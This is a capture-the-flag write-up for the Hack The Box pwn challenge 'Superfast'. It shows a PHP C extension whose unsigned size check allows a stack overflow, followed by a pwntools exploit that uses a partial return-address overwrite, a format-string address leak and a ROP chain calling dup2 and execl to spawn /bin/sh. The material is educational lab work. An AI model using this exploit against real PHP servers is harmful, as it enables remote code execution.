Superfast - HTB pwn challenge
Summary
Read up on php C extensions --> get a working request --> read through the extension source and find a bad if statement which allows for buffer overflows --> overwrite part of the return address in order to land in a printf block --> format string to leak addresses --> rop with said leaked addresses --> flag
This challenge is from Hackthebox and is rated easy(though it wasnt):
Taking a look at what we downloaded we notice a very unusual format: the challenge is based on exploiting a php extension written in C. After reading up on php extensions i found out that this extensions imports only one function called “cmd_log”.
php_logger.c
#include <php.h>
#include <stdint.h>
#include "php_logger.h"
ZEND_BEGIN_ARG_INFO_EX(arginfo_log_cmd, 0, 0, 2)
ZEND_ARG_INFO(0, arg)
ZEND_ARG_INFO(0, arg2)
ZEND_END_ARG_INFO()
zend_function_entry logger_functions[] = {
PHP_FE(log_cmd, arginfo_log_cmd)
{NULL, NULL, NULL}
};
zend_module_entry logger_module_entry = {
STANDARD_MODULE_HEADER,
PHP_LOGGER_EXTNAME,
logger_functions,
NULL,
NULL,
NULL,
NULL,
NULL,
PHP_LOGGER_VERSION,
STANDARD_MODULE_PROPERTIES
};
void print_message(char* p);
ZEND_GET_MODULE(logger)
zend_string* decrypt(char* buf, size_t size, uint8_t key) {
char buffer[64] = {0};
if (sizeof(buffer) - size > 0) { // subtracting two unsigned vals, this filter only applies when both values are equal, aka 64 byte long buffer and lets anything else wizz by
memcpy(buffer, buf, size);
} else {
return NULL;
}
for (int i = 0; i < sizeof(buffer) - 1; i++) {
buffer[i] ^= key;
}
return zend_string_init(buffer, strlen(buffer), 0);
}
PHP_FUNCTION(log_cmd) {
char* input;
zend_string* res;
size_t size;
long key;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "sl", &input, &size, &key) == FAILURE) {
RETURN_NULL();
}
res = decrypt(input, size, (uint8_t)key);
if (!res) {
print_message("Invalid input provided\n");
} else {
FILE* f = fopen("/tmp/log", "a");
fwrite(ZSTR_VAL(res), ZSTR_LEN(res), 1, f);
fclose(f);
}
RETURN_NULL();
}
__attribute__((force_align_arg_pointer))
void print_message(char* p) {
php_printf(p);
}
Basically all it does is take a key from 1 to 255 in a custom http header, and data from the cmd get parameter, this is what a valid request looks like:
Exploit
So as my comment denotes, we have an overflow we can exploit, but first we have to get past that decrypt function in order for our input to actually be what we want it to be, however thats not really a problem. We will start by defining a blueprint for sending payloads directly via pwntools, and also XORing our input for the size of it:
from pwn import *
import urllib.parse
def encode_payload(buf):
buf = list(buf)
for i in range(63):
buf[i] ^= 1
buf = bytes(buf)
req = "GET /?cmd="
req += urllib.parse.quote(buf)
req += " HTTP/1.1\n"
req += "Cmd-Key: 1\n\n"
return req.encode()
Now comes another very important step(which i spent like an hour debugging). We use a container to start the local instance, and so the php interpreter’s version is the same on both the remote and local instance. However, at first I tried using my locally installed one, which has a different version of php, with different offsets of course. In order to get the good version, run the following:
sudo docker ps # get the docker process id
sudo docker cp <DOCKER PS ID>:/usr/local/bin/php .
Now we can send our first payload and leak the base address of our process:
context.binary = binary = ELF("./php", checksec=False)
log.info("Sending fmt string payload");
payload = flat({
0: b'%p-' * 30,
0x98: p8(0x40)
})
payload = encode_payload(payload)
p = remote("127.0.0.1", 1337)
p.send(payload)
p.recvuntil(b'\r\n\r\n')
resp = p.recvall()
print(resp)
p.close()
leak = resp.split(b'-')[11] # CAREFUL HERE
log.success(f"Leaked executor globals: {leak}") # honestly looked this up on writeup lol
binary.address = int(leak, 16) - binary.sym['executor_globals']
log.success(f"leaked base address: {hex(binary.address)}")
Adjust the leak's value by looking for the first address starting with 0x55* leaked
The next and final step is to assemble a ROP chain. I had absolutely no idea how to go about this so I looked at the walkthrough, where he used the dup2 function to duplicate the sockets stdin/out/err. I think he did this so we dont randomize the addresses again. We then call execl, which is basically execve but through the php C api.
rop = ROP(binary)
rop.call('dup2', [4, 0])
rop.call('dup2', [4, 1])
rop.call('dup2', [4, 2])
bin_sh = next(binary.search(b"/bin/sh\x00"))
dash_i = next(binary.search(b"-i\x00"))
rop.call('execl', [bin_sh, bin_sh, dash_i, 0])
#log.info(rop.dump())
payload = encode_payload(b"A" * 0x98 + rop.chain())
log.info("Sending shell payload")
p = remote("127.0.0.1", 1337)
p.send(payload)
p.interactive(prompt = '')
Full script on my github.